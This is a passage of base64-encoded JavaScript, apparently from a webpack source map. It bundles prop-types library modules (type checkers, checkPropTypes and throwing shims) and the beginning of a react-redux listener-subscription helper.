GNoZWNrZXIocHJvcFZhbHVlLCBrZXksIGNvbXBvbmVudE5hbWUsIGxvY2F0aW9uLCBwcm9wRnVsbE5hbWUgKyAnLicgKyBrZXksIFJlYWN0UHJvcFR5cGVzU2VjcmV0KTtcbiAgICAgICAgaWYgKGVycm9yKSB7XG4gICAgICAgICAgcmV0dXJuIGVycm9yO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICByZXR1cm4gbnVsbDtcbiAgICB9XG4gICAgcmV0dXJuIGNyZWF0ZUNoYWluYWJsZVR5cGVDaGVja2VyKHZhbGlkYXRlKTtcbiAgfVxuXG4gIGZ1bmN0aW9uIGNyZWF0ZVN0cmljdFNoYXBlVHlwZUNoZWNrZXIoc2hhcGVUeXBlcykge1xuICAgIGZ1bmN0aW9uIHZhbGlkYXRlKHByb3BzLCBwcm9wTmFtZSwgY29tcG9uZW50TmFtZSwgbG9jYXRpb24sIHByb3BGdWxsTmFtZSkge1xuICAgICAgdmFyIHByb3BWYWx1ZSA9IHByb3BzW3Byb3BOYW1lXTtcbiAgICAgIHZhciBwcm9wVHlwZSA9IGdldFByb3BUeXBlKHByb3BWYWx1ZSk7XG4gICAgICBpZiAocHJvcFR5cGUgIT09ICdvYmplY3QnKSB7XG4gICAgICAgIHJldHVybiBuZXcgUHJvcFR5cGVFcnJvcignSW52YWxpZCAnICsgbG9jYXRpb24gKyAnIGAnICsgcHJvcEZ1bGxOYW1lICsgJ2Agb2YgdHlwZSBgJyArIHByb3BUeXBlICsgJ2AgJyArICgnc3VwcGxpZWQgdG8gYCcgKyBjb21wb25lbnROYW1lICsgJ2AsIGV4cGVjdGVkIGBvYmplY3RgLicpKTtcbiAgICAgIH1cbiAgICAgIC8vIFdlIG5lZWQgdG8gY2hlY2sgYWxsIGtleXMgaW4gY2FzZSBzb21lIGFyZSByZXF1aXJlZCBidXQgbWlzc2luZyBmcm9tXG4gICAgICAvLyBwcm9wcy5cbiAgICAgIHZhciBhbGxLZXlzID0gYXNzaWduKHt9LCBwcm9wc1twcm9wTmFtZV0sIHNoYXBlVHlwZXMpO1xuICAgICAgZm9yICh2YXIga2V5IGluIGFsbEtleXMpIHtcbiAgICAgICAgdmFyIGNoZWNrZXIgPSBzaGFwZVR5cGVzW2tleV07XG4gICAgICAgIGlmICghY2hlY2tlcikge1xuICAgICAgICAgIHJldHVybiBuZXcgUHJvcFR5cGVFcnJvcihcbiAgICAgICAgICAgICdJbnZhbGlkICcgKyBsb2NhdGlvbiArICcgYCcgKyBwcm9wRnVsbE5hbWUgKyAnYCBrZXkgYCcgKyBrZXkgKyAnYCBzdXBwbGllZCB0byBgJyArIGNvbXBvbmVudE5hbWUgKyAnYC4nICtcbiAgICAgICAgICAgICdcXG5CYWQgb2JqZWN0OiAnICsgSlNPTi5zdHJpbmdpZnkocHJvcHNbcHJvcE5hbWVdLCBudWxsLCAnICAnKSArXG4gICAgICAgICAgICAnXFxuVmFsaWQga2V5czogJyArICBKU09OLnN0cmluZ2lmeShPYmplY3Qua2V5cyhzaGFwZVR5cGVzKSwgbnVsbCwgJyAgJylcbiAgICAgICAgICApO1xuICAgICAgICB9XG4gICAgICAgIHZhciBlcnJvciA9IGNoZWNrZXIocHJvcFZhbHVlLCBrZXksIGNvbXBvbmVudE5hbWUsIGxvY2F0aW9uLCBwcm9wRnVsbE5hbWUgKyAnLicgKyBrZXksIFJlYWN0UHJvcFR5cGVzU2VjcmV0KTtcbiAgICAgICAgaWYgKGVycm9yKSB7XG4gICAgICAgICAgcmV0dXJuIGVycm9yO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICByZXR1cm4gbnVsbDtcbiAgICB9XG5cbiAgICByZXR1cm4gY3JlYXRlQ2hhaW5hYmxlVHlwZUNoZWNrZXIodmFsaWRhdGUpO1xuICB9XG5cbiAgZnVuY3Rpb24gaXNOb2RlKHByb3BWYWx1ZSkge1xuICAgIHN3aXRjaCAodHlwZW9mIHByb3BWYWx1ZSkge1xuICAgICAgY2FzZSAnbnVtYmVyJzpcbiAgICAgIGNhc2UgJ3N0cmluZyc6XG4gICAgICBjYXNlICd1bmRlZmluZWQnOlxuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgIGNhc2UgJ2Jvb2xlYW4nOlxuICAgICAgICByZXR1cm4gIXByb3BWYWx1ZTtcbiAgICAgIGNhc2UgJ29iamVjdCc6XG4gICAgICAgIGlmIChBcnJheS5pc0FycmF5KHByb3BWYWx1ZSkpIHtcbiAgICAgICAgICByZXR1cm4gcHJvcFZhbHVlLmV2ZXJ5KGlzTm9kZSk7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKHByb3BWYWx1ZSA9PT0gbnVsbCB8fCBpc1ZhbGlkRWxlbWVudChwcm9wVmFsdWUpKSB7XG4gICAgICAgICAgcmV0dXJuIHRydWU7XG4gICAgICAgIH1cblxuICAgICAgICB2YXIgaXRlcmF0b3JGbiA9IGdldEl0ZXJhdG9yRm4ocHJvcFZhbHVlKTtcbiAgICAgICAgaWYgKGl0ZXJhdG9yRm4pIHtcbiAgICAgICAgICB2YXIgaXRlcmF0b3IgPSBpdGVyYXRvckZuLmNhbGwocHJvcFZhbHVlKTtcbiAgICAgICAgICB2YXIgc3RlcDtcbiAgICAgICAgICBpZiAoaXRlcmF0b3JGbiAhPT0gcHJvcFZhbHVlLmVudHJpZXMpIHtcbiAgICAgICAgICAgIHdoaWxlICghKHN0ZXAgPSBpdGVyYXRvci5uZXh0KCkpLmRvbmUpIHtcbiAgICAgICAgICAgICAgaWYgKCFpc05vZGUoc3RlcC52YWx1ZSkpIHtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgLy8gSXRlcmF0b3Igd2lsbCBwcm92aWRlIGVudHJ5IFtrLHZdIHR1cGxlcyByYXRoZXIgdGhhbiB2YWx1ZXMuXG4gICAgICAgICAgICB3aGlsZSAoIShzdGVwID0gaXRlcmF0b3IubmV4dCgpKS5kb25lKSB7XG4gICAgICAgICAgICAgIHZhciBlbnRyeSA9IHN0ZXAudmFsdWU7XG4gICAgICAgICAgICAgIGlmIChlbnRyeSkge1xuICAgICAgICAgICAgICAgIGlmICghaXNOb2RlKGVudHJ5WzFdKSkge1xuICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgIH1cbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cblxuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgIGRlZmF1bHQ6XG4gICAgICAgIHJldHVybiBmYWxzZTtcbiAgICB9XG4gIH1cblxuICBmdW5jdGlvbiBpc1N5bWJvbChwcm9wVHlwZSwgcHJvcFZhbHVlKSB7XG4gICAgLy8gTmF0aXZlIFN5bWJvbC5cbiAgICBpZiAocHJvcFR5cGUgPT09ICdzeW1ib2wnKSB7XG4gICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9XG5cbiAgICAvLyAxOS40LjMuNSBTeW1ib2wucHJvdG90eXBlW0BAdG9TdHJpbmdUYWddID09PSAnU3ltYm9sJ1xuICAgIGlmIChwcm9wVmFsdWVbJ0BAdG9TdHJpbmdUYWcnXSA9PT0gJ1N5bWJvbCcpIHtcbiAgICAgIHJldHVybiB0cnVlO1xuICAgIH1cblxuICAgIC8vIEZhbGxiYWNrIGZvciBub24tc3BlYyBjb21wbGlhbnQgU3ltYm9scyB3aGljaCBhcmUgcG9seWZpbGxlZC5cbiAgICBpZiAodHlwZW9mIFN5bWJvbCA9PT0gJ2Z1bmN0aW9uJyAmJiBwcm9wVmFsdWUgaW5zdGFuY2VvZiBTeW1ib2wpIHtcbiAgICAgIHJldHVybiB0cnVlO1xuICAgIH1cblxuICAgIHJldHVybiBmYWxzZTtcbiAgfVxuXG4gIC8vIEVxdWl2YWxlbnQgb2YgYHR5cGVvZmAgYnV0IHdpdGggc3BlY2lhbCBoYW5kbGluZyBmb3IgYXJyYXkgYW5kIHJlZ2V4cC5cbiAgZnVuY3Rpb24gZ2V0UHJvcFR5cGUocHJvcFZhbHVlKSB7XG4gICAgdmFyIHByb3BUeXBlID0gdHlwZW9mIHByb3BWYWx1ZTtcbiAgICBpZiAoQXJyYXkuaXNBcnJheShwcm9wVmFsdWUpKSB7XG4gICAgICByZXR1cm4gJ2FycmF5JztcbiAgICB9XG4gICAgaWYgKHByb3BWYWx1ZSBpbnN0YW5jZW9mIFJlZ0V4cCkge1xuICAgICAgLy8gT2xkIHdlYmtpdHMgKGF0IGxlYXN0IHVudGlsIEFuZHJvaWQgNC4wKSByZXR1cm4gJ2Z1bmN0aW9uJyByYXRoZXIgdGhhblxuICAgICAgLy8gJ29iamVjdCcgZm9yIHR5cGVvZiBhIFJlZ0V4cC4gV2UnbGwgbm9ybWFsaXplIHRoaXMgaGVyZSBzbyB0aGF0IC9ibGEvXG4gICAgICAvLyBwYXNzZXMgUHJvcFR5cGVzLm9iamVjdC5cbiAgICAgIHJldHVybiAnb2JqZWN0JztcbiAgICB9XG4gICAgaWYgKGlzU3ltYm9sKHByb3BUeXBlLCBwcm9wVmFsdWUpKSB7XG4gICAgICByZXR1cm4gJ3N5bWJvbCc7XG4gICAgfVxuICAgIHJldHVybiBwcm9wVHlwZTtcbiAgfVxuXG4gIC8vIFRoaXMgaGFuZGxlcyBtb3JlIHR5cGVzIHRoYW4gYGdldFByb3BUeXBlYC4gT25seSB1c2VkIGZvciBlcnJvciBtZXNzYWdlcy5cbiAgLy8gU2VlIGBjcmVhdGVQcmltaXRpdmVUeXBlQ2hlY2tlcmAuXG4gIGZ1bmN0aW9uIGdldFByZWNpc2VUeXBlKHByb3BWYWx1ZSkge1xuICAgIGlmICh0eXBlb2YgcHJvcFZhbHVlID09PSAndW5kZWZpbmVkJyB8fCBwcm9wVmFsdWUgPT09IG51bGwpIHtcbiAgICAgIHJldHVybiAnJyArIHByb3BWYWx1ZTtcbiAgICB9XG4gICAgdmFyIHByb3BUeXBlID0gZ2V0UHJvcFR5cGUocHJvcFZhbHVlKTtcbiAgICBpZiAocHJvcFR5cGUgPT09ICdvYmplY3QnKSB7XG4gICAgICBpZiAocHJvcFZhbHVlIGluc3RhbmNlb2YgRGF0ZSkge1xuICAgICAgICByZXR1cm4gJ2RhdGUnO1xuICAgICAgfSBlbHNlIGlmIChwcm9wVmFsdWUgaW5zdGFuY2VvZiBSZWdFeHApIHtcbiAgICAgICAgcmV0dXJuICdyZWdleHAnO1xuICAgICAgfVxuICAgIH1cbiAgICByZXR1cm4gcHJvcFR5cGU7XG4gIH1cblxuICAvLyBSZXR1cm5zIGEgc3RyaW5nIHRoYXQgaXMgcG9zdGZpeGVkIHRvIGEgd2FybmluZyBhYm91dCBhbiBpbnZhbGlkIHR5cGUuXG4gIC8vIEZvciBleGFtcGxlLCBcInVuZGVmaW5lZFwiIG9yIFwib2YgdHlwZSBhcnJheVwiXG4gIGZ1bmN0aW9uIGdldFBvc3RmaXhGb3JUeXBlV2FybmluZyh2YWx1ZSkge1xuICAgIHZhciB0eXBlID0gZ2V0UHJlY2lzZVR5cGUodmFsdWUpO1xuICAgIHN3aXRjaCAodHlwZSkge1xuICAgICAgY2FzZSAnYXJyYXknOlxuICAgICAgY2FzZSAnb2JqZWN0JzpcbiAgICAgICAgcmV0dXJuICdhbiAnICsgdHlwZTtcbiAgICAgIGNhc2UgJ2Jvb2xlYW4nOlxuICAgICAgY2FzZSAnZGF0ZSc6XG4gICAgICBjYXNlICdyZWdleHAnOlxuICAgICAgICByZXR1cm4gJ2EgJyArIHR5cGU7XG4gICAgICBkZWZhdWx0OlxuICAgICAgICByZXR1cm4gdHlwZTtcbiAgICB9XG4gIH1cblxuICAvLyBSZXR1cm5zIGNsYXNzIG5hbWUgb2YgdGhlIG9iamVjdCwgaWYgYW55LlxuICBmdW5jdGlvbiBnZXRDbGFzc05hbWUocHJvcFZhbHVlKSB7XG4gICAgaWYgKCFwcm9wVmFsdWUuY29uc3RydWN0b3IgfHwgIXByb3BWYWx1ZS5jb25zdHJ1Y3Rvci5uYW1lKSB7XG4gICAgICByZXR1cm4gQU5PTllNT1VTO1xuICAgIH1cbiAgICByZXR1cm4gcHJvcFZhbHVlLmNvbnN0cnVjdG9yLm5hbWU7XG4gIH1cblxuICBSZWFjdFByb3BUeXBlcy5jaGVja1Byb3BUeXBlcyA9IGNoZWNrUHJvcFR5cGVzO1xuICBSZWFjdFByb3BUeXBlcy5Qcm9wVHlwZXMgPSBSZWFjdFByb3BUeXBlcztcblxuICByZXR1cm4gUmVhY3RQcm9wVHlwZXM7XG59O1xuXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvcHJvcC10eXBlcy9mYWN0b3J5V2l0aFR5cGVDaGVja2Vycy5qc1xuLy8gbW9kdWxlIGlkID0gMTE2XG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIDIwMTMtcHJlc2VudCwgRmFjZWJvb2ssIEluYy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqL1xuXG4ndXNlIHN0cmljdCc7XG5cbnZhciBwcmludFdhcm5pbmcgPSBmdW5jdGlvbigpIHt9O1xuXG5pZiAocHJvY2Vzcy5lbnYuTk9ERV9FTlYgIT09ICdwcm9kdWN0aW9uJykge1xuICB2YXIgUmVhY3RQcm9wVHlwZXNTZWNyZXQgPSByZXF1aXJlKCcuL2xpYi9SZWFjdFByb3BUeXBlc1NlY3JldCcpO1xuICB2YXIgbG9nZ2VkVHlwZUZhaWx1cmVzID0ge307XG5cbiAgcHJpbnRXYXJuaW5nID0gZnVuY3Rpb24odGV4dCkge1xuICAgIHZhciBtZXNzYWdlID0gJ1dhcm5pbmc6ICcgKyB0ZXh0O1xuICAgIGlmICh0eXBlb2YgY29uc29sZSAhPT0gJ3VuZGVmaW5lZCcpIHtcbiAgICAgIGNvbnNvbGUuZXJyb3IobWVzc2FnZSk7XG4gICAgfVxuICAgIHRyeSB7XG4gICAgICAvLyAtLS0gV2VsY29tZSB0byBkZWJ1Z2dpbmcgUmVhY3QgLS0tXG4gICAgICAvLyBUaGlzIGVycm9yIHdhcyB0aHJvd24gYXMgYSBjb252ZW5pZW5jZSBzbyB0aGF0IHlvdSBjYW4gdXNlIHRoaXMgc3RhY2tcbiAgICAgIC8vIHRvIGZpbmQgdGhlIGNhbGxzaXRlIHRoYXQgY2F1c2VkIHRoaXMgd2FybmluZyB0byBmaXJlLlxuICAgICAgdGhyb3cgbmV3IEVycm9yKG1lc3NhZ2UpO1xuICAgIH0gY2F0Y2ggKHgpIHt9XG4gIH07XG59XG5cbi8qKlxuICogQXNzZXJ0IHRoYXQgdGhlIHZhbHVlcyBtYXRjaCB3aXRoIHRoZSB0eXBlIHNwZWNzLlxuICogRXJyb3IgbWVzc2FnZXMgYXJlIG1lbW9yaXplZCBhbmQgd2lsbCBvbmx5IGJlIHNob3duIG9uY2UuXG4gKlxuICogQHBhcmFtIHtvYmplY3R9IHR5cGVTcGVjcyBNYXAgb2YgbmFtZSB0byBhIFJlYWN0UHJvcFR5cGVcbiAqIEBwYXJhbSB7b2JqZWN0fSB2YWx1ZXMgUnVudGltZSB2YWx1ZXMgdGhhdCBuZWVkIHRvIGJlIHR5cGUtY2hlY2tlZFxuICogQHBhcmFtIHtzdHJpbmd9IGxvY2F0aW9uIGUuZy4gXCJwcm9wXCIsIFwiY29udGV4dFwiLCBcImNoaWxkIGNvbnRleHRcIlxuICogQHBhcmFtIHtzdHJpbmd9IGNvbXBvbmVudE5hbWUgTmFtZSBvZiB0aGUgY29tcG9uZW50IGZvciBlcnJvciBtZXNzYWdlcy5cbiAqIEBwYXJhbSB7P0Z1bmN0aW9ufSBnZXRTdGFjayBSZXR1cm5zIHRoZSBjb21wb25lbnQgc3RhY2suXG4gKiBAcHJpdmF0ZVxuICovXG5mdW5jdGlvbiBjaGVja1Byb3BUeXBlcyh0eXBlU3BlY3MsIHZhbHVlcywgbG9jYXRpb24sIGNvbXBvbmVudE5hbWUsIGdldFN0YWNrKSB7XG4gIGlmIChwcm9jZXNzLmVudi5OT0RFX0VOViAhPT0gJ3Byb2R1Y3Rpb24nKSB7XG4gICAgZm9yICh2YXIgdHlwZVNwZWNOYW1lIGluIHR5cGVTcGVjcykge1xuICAgICAgaWYgKHR5cGVTcGVjcy5oYXNPd25Qcm9wZXJ0eSh0eXBlU3BlY05hbWUpKSB7XG4gICAgICAgIHZhciBlcnJvcjtcbiAgICAgICAgLy8gUHJvcCB0eXBlIHZhbGlkYXRpb24gbWF5IHRocm93LiBJbiBjYXNlIHRoZXkgZG8sIHdlIGRvbid0IHdhbnQgdG9cbiAgICAgICAgLy8gZmFpbCB0aGUgcmVuZGVyIHBoYXNlIHdoZXJlIGl0IGRpZG4ndCBmYWlsIGJlZm9yZS4gU28gd2UgbG9nIGl0LlxuICAgICAgICAvLyBBZnRlciB0aGVzZSBoYXZlIGJlZW4gY2xlYW5lZCB1cCwgd2UnbGwgbGV0IHRoZW0gdGhyb3cuXG4gICAgICAgIHRyeSB7XG4gICAgICAgICAgLy8gVGhpcyBpcyBpbnRlbnRpb25hbGx5IGFuIGludmFyaWFudCB0aGF0IGdldHMgY2F1Z2h0LiBJdCdzIHRoZSBzYW1lXG4gICAgICAgICAgLy8gYmVoYXZpb3IgYXMgd2l0aG91dCB0aGlzIHN0YXRlbWVudCBleGNlcHQgd2l0aCBhIGJldHRlciBtZXNzYWdlLlxuICAgICAgICAgIGlmICh0eXBlb2YgdHlwZVNwZWNzW3R5cGVTcGVjTmFtZV0gIT09ICdmdW5jdGlvbicpIHtcbiAgICAgICAgICAgIHZhciBlcnIgPSBFcnJvcihcbiAgICAgICAgICAgICAgKGNvbXBvbmVudE5hbWUgfHwgJ1JlYWN0IGNsYXNzJykgKyAnOiAnICsgbG9jYXRpb24gKyAnIHR5cGUgYCcgKyB0eXBlU3BlY05hbWUgKyAnYCBpcyBpbnZhbGlkOyAnICtcbiAgICAgICAgICAgICAgJ2l0IG11c3QgYmUgYSBmdW5jdGlvbiwgdXN1YWxseSBmcm9tIHRoZSBgcHJvcC10eXBlc2AgcGFja2FnZSwgYnV0IHJlY2VpdmVkIGAnICsgdHlwZW9mIHR5cGVTcGVjc1t0eXBlU3BlY05hbWVdICsgJ2AuJ1xuICAgICAgICAgICAgKTtcbiAgICAgICAgICAgIGVyci5uYW1lID0gJ0ludmFyaWFudCBWaW9sYXRpb24nO1xuICAgICAgICAgICAgdGhyb3cgZXJyO1xuICAgICAgICAgIH1cbiAgICAgICAgICBlcnJvciA9IHR5cGVTcGVjc1t0eXBlU3BlY05hbWVdKHZhbHVlcywgdHlwZVNwZWNOYW1lLCBjb21wb25lbnROYW1lLCBsb2NhdGlvbiwgbnVsbCwgUmVhY3RQcm9wVHlwZXNTZWNyZXQpO1xuICAgICAgICB9IGNhdGNoIChleCkge1xuICAgICAgICAgIGVycm9yID0gZXg7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKGVycm9yICYmICEoZXJyb3IgaW5zdGFuY2VvZiBFcnJvcikpIHtcbiAgICAgICAgICBwcmludFdhcm5pbmcoXG4gICAgICAgICAgICAoY29tcG9uZW50TmFtZSB8fCAnUmVhY3QgY2xhc3MnKSArICc6IHR5cGUgc3BlY2lmaWNhdGlvbiBvZiAnICtcbiAgICAgICAgICAgIGxvY2F0aW9uICsgJyBgJyArIHR5cGVTcGVjTmFtZSArICdgIGlzIGludmFsaWQ7IHRoZSB0eXBlIGNoZWNrZXIgJyArXG4gICAgICAgICAgICAnZnVuY3Rpb24gbXVzdCByZXR1cm4gYG51bGxgIG9yIGFuIGBFcnJvcmAgYnV0IHJldHVybmVkIGEgJyArIHR5cGVvZiBlcnJvciArICcuICcgK1xuICAgICAgICAgICAgJ1lvdSBtYXkgaGF2ZSBmb3Jnb3R0ZW4gdG8gcGFzcyBhbiBhcmd1bWVudCB0byB0aGUgdHlwZSBjaGVja2VyICcgK1xuICAgICAgICAgICAgJ2NyZWF0b3IgKGFycmF5T2YsIGluc3RhbmNlT2YsIG9iamVjdE9mLCBvbmVPZiwgb25lT2ZUeXBlLCBhbmQgJyArXG4gICAgICAgICAgICAnc2hhcGUgYWxsIHJlcXVpcmUgYW4gYXJndW1lbnQpLidcbiAgICAgICAgICApXG5cbiAgICAgICAgfVxuICAgICAgICBpZiAoZXJyb3IgaW5zdGFuY2VvZiBFcnJvciAmJiAhKGVycm9yLm1lc3NhZ2UgaW4gbG9nZ2VkVHlwZUZhaWx1cmVzKSkge1xuICAgICAgICAgIC8vIE9ubHkgbW9uaXRvciB0aGlzIGZhaWx1cmUgb25jZSBiZWNhdXNlIHRoZXJlIHRlbmRzIHRvIGJlIGEgbG90IG9mIHRoZVxuICAgICAgICAgIC8vIHNhbWUgZXJyb3IuXG4gICAgICAgICAgbG9nZ2VkVHlwZUZhaWx1cmVzW2Vycm9yLm1lc3NhZ2VdID0gdHJ1ZTtcblxuICAgICAgICAgIHZhciBzdGFjayA9IGdldFN0YWNrID8gZ2V0U3RhY2soKSA6ICcnO1xuXG4gICAgICAgICAgcHJpbnRXYXJuaW5nKFxuICAgICAgICAgICAgJ0ZhaWxlZCAnICsgbG9jYXRpb24gKyAnIHR5cGU6ICcgKyBlcnJvci5tZXNzYWdlICsgKHN0YWNrICE9IG51bGwgPyBzdGFjayA6ICcnKVxuICAgICAgICAgICk7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gIH1cbn1cblxubW9kdWxlLmV4cG9ydHMgPSBjaGVja1Byb3BUeXBlcztcblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL3Byb3AtdHlwZXMvY2hlY2tQcm9wVHlwZXMuanNcbi8vIG1vZHVsZSBpZCA9IDExN1xuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCIsIi8qKlxuICogQ29weXJpZ2h0IChjKSAyMDEzLXByZXNlbnQsIEZhY2Vib29rLCBJbmMuXG4gKlxuICogVGhpcyBzb3VyY2UgY29kZSBpcyBsaWNlbnNlZCB1bmRlciB0aGUgTUlUIGxpY2Vuc2UgZm91bmQgaW4gdGhlXG4gKiBMSUNFTlNFIGZpbGUgaW4gdGhlIHJvb3QgZGlyZWN0b3J5IG9mIHRoaXMgc291cmNlIHRyZWUuXG4gKi9cblxuJ3VzZSBzdHJpY3QnO1xuXG52YXIgUmVhY3RQcm9wVHlwZXNTZWNyZXQgPSByZXF1aXJlKCcuL2xpYi9SZWFjdFByb3BUeXBlc1NlY3JldCcpO1xuXG5mdW5jdGlvbiBlbXB0eUZ1bmN0aW9uKCkge31cblxubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbigpIHtcbiAgZnVuY3Rpb24gc2hpbShwcm9wcywgcHJvcE5hbWUsIGNvbXBvbmVudE5hbWUsIGxvY2F0aW9uLCBwcm9wRnVsbE5hbWUsIHNlY3JldCkge1xuICAgIGlmIChzZWNyZXQgPT09IFJlYWN0UHJvcFR5cGVzU2VjcmV0KSB7XG4gICAgICAvLyBJdCBpcyBzdGlsbCBzYWZlIHdoZW4gY2FsbGVkIGZyb20gUmVhY3QuXG4gICAgICByZXR1cm47XG4gICAgfVxuICAgIHZhciBlcnIgPSBuZXcgRXJyb3IoXG4gICAgICAnQ2FsbGluZyBQcm9wVHlwZXMgdmFsaWRhdG9ycyBkaXJlY3RseSBpcyBub3Qgc3VwcG9ydGVkIGJ5IHRoZSBgcHJvcC10eXBlc2AgcGFja2FnZS4gJyArXG4gICAgICAnVXNlIFByb3BUeXBlcy5jaGVja1Byb3BUeXBlcygpIHRvIGNhbGwgdGhlbS4gJyArXG4gICAgICAnUmVhZCBtb3JlIGF0IGh0dHA6Ly9mYi5tZS91c2UtY2hlY2stcHJvcC10eXBlcydcbiAgICApO1xuICAgIGVyci5uYW1lID0gJ0ludmFyaWFudCBWaW9sYXRpb24nO1xuICAgIHRocm93IGVycjtcbiAgfTtcbiAgc2hpbS5pc1JlcXVpcmVkID0gc2hpbTtcbiAgZnVuY3Rpb24gZ2V0U2hpbSgpIHtcbiAgICByZXR1cm4gc2hpbTtcbiAgfTtcbiAgLy8gSW1wb3J0YW50IVxuICAvLyBLZWVwIHRoaXMgbGlzdCBpbiBzeW5jIHdpdGggcHJvZHVjdGlvbiB2ZXJzaW9uIGluIGAuL2ZhY3RvcnlXaXRoVHlwZUNoZWNrZXJzLmpzYC5cbiAgdmFyIFJlYWN0UHJvcFR5cGVzID0ge1xuICAgIGFycmF5OiBzaGltLFxuICAgIGJvb2w6IHNoaW0sXG4gICAgZnVuYzogc2hpbSxcbiAgICBudW1iZXI6IHNoaW0sXG4gICAgb2JqZWN0OiBzaGltLFxuICAgIHN0cmluZzogc2hpbSxcbiAgICBzeW1ib2w6IHNoaW0sXG5cbiAgICBhbnk6IHNoaW0sXG4gICAgYXJyYXlPZjogZ2V0U2hpbSxcbiAgICBlbGVtZW50OiBzaGltLFxuICAgIGluc3RhbmNlT2Y6IGdldFNoaW0sXG4gICAgbm9kZTogc2hpbSxcbiAgICBvYmplY3RPZjogZ2V0U2hpbSxcbiAgICBvbmVPZjogZ2V0U2hpbSxcbiAgICBvbmVPZlR5cGU6IGdldFNoaW0sXG4gICAgc2hhcGU6IGdldFNoaW0sXG4gICAgZXhhY3Q6IGdldFNoaW1cbiAgfTtcblxuICBSZWFjdFByb3BUeXBlcy5jaGVja1Byb3BUeXBlcyA9IGVtcHR5RnVuY3Rpb247XG4gIFJlYWN0UHJvcFR5cGVzLlByb3BUeXBlcyA9IFJlYWN0UHJvcFR5cGVzO1xuXG4gIHJldHVybiBSZWFjdFByb3BUeXBlcztcbn07XG5cblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9wcm9wLXR5cGVzL2ZhY3RvcnlXaXRoVGhyb3dpbmdTaGltcy5qc1xuLy8gbW9kdWxlIGlkID0gMTE4XG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiZnVuY3Rpb24gX2NsYXNzQ2FsbENoZWNrKGluc3RhbmNlLCBDb25zdHJ1Y3RvcikgeyBpZiAoIShpbnN0YW5jZSBpbnN0YW5jZW9mIENvbnN0cnVjdG9yKSkgeyB0aHJvdyBuZXcgVHlwZUVycm9yKFwiQ2Fubm90IGNhbGwgYSBjbGFzcyBhcyBhIGZ1bmN0aW9uXCIpOyB9IH1cblxuLy8gZW5jYXBzdWxhdGVzIHRoZSBzdWJzY3JpcHRpb24gbG9naWMgZm9yIGNvbm5lY3RpbmcgYSBjb21wb25lbnQgdG8gdGhlIHJlZHV4IHN0b3JlLCBhc1xuLy8gd2VsbCBhcyBuZXN0aW5nIHN1YnNjcmlwdGlvbnMgb2YgZGVzY2VuZGFudCBjb21wb25lbnRzLCBzbyB0aGF0IHdlIGNhbiBlbnN1cmUgdGhlXG4vLyBhbmNlc3RvciBjb21wb25lbnRzIHJlLXJlbmRlciBiZWZvcmUgZGVzY2VuZGFudHNcblxudmFyIENMRUFSRUQgPSBudWxsO1xudmFyIG51bGxMaXN0ZW5lcnMgPSB7XG4gIG5vdGlmeTogZnVuY3Rpb24gbm90aWZ5KCkge31cbn07XG5cbmZ1bmN0aW9uIGNyZWF0ZUxpc3RlbmVyQ29sbGVjdGlvbigpIHtcbiAgLy8gdGhlIGN1cnJlbnQvbmV4dCBwYXR0ZXJuIGlzIGNvcGllZCBmcm9tIHJlZHV4J3MgY3JlYXRlU3RvcmUgY29kZS5cbiAgLy8gVE9ETzogcmVmYWN0b3IrZXhwb3NlIHRoYXQgY29kZSB0byBiZSByZXVzYWJsZSBoZXJlP1xuICB2YXIgY3VycmVudCA9IFtdO1xuICB2YXIgbmV4dCA9IFtdO1xuXG4gIHJldHVybiB7XG4gICAgY2xlYXI6IGZ1bmN0aW9uIGNsZWFyKCkge1xuICAgICAgbmV4dCA9IENMRUFSRUQ7XG4gICAgICBjdXJyZW50ID0gQ0xFQVJFRDtcbiAgICB9LFxuICAgIG5vdGlmeTogZnVuY3Rpb24gbm90aWZ5KCkge1xuICAgICAgdmFyIGxpc3RlbmVycyA9IGN1cnJlbnQgPSBuZXh0O1xuICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCBsaXN0ZW5lcnMubGVuZ3RoOyBpKyspIHtcbiAgICAgICAgbGlzdGVuZXJzW2ldKCk7XG4gICAgICB9XG4gICAgfSxcbiAgICBnZXQ6IGZ1bmN0aW9uIGdldCgpIHtcbiAgICAgIHJldHVybiBuZXh0O1xuICAgIH0sXG4gICAgc3Vic2NyaWJlOiBmdW5jdGlvbiBzdWJzY3JpYmUobGlzdGVuZXIpIHtcbiAgICAgIHZhciBpc1N1YnNjcmliZWQgPSB0cnVlO1xuICAgICAgaWYgKG5leHQgPT09IGN1cnJlbnQpIG5leHQgPSBjdXJyZW50LnNsaWNlKCk7XG4g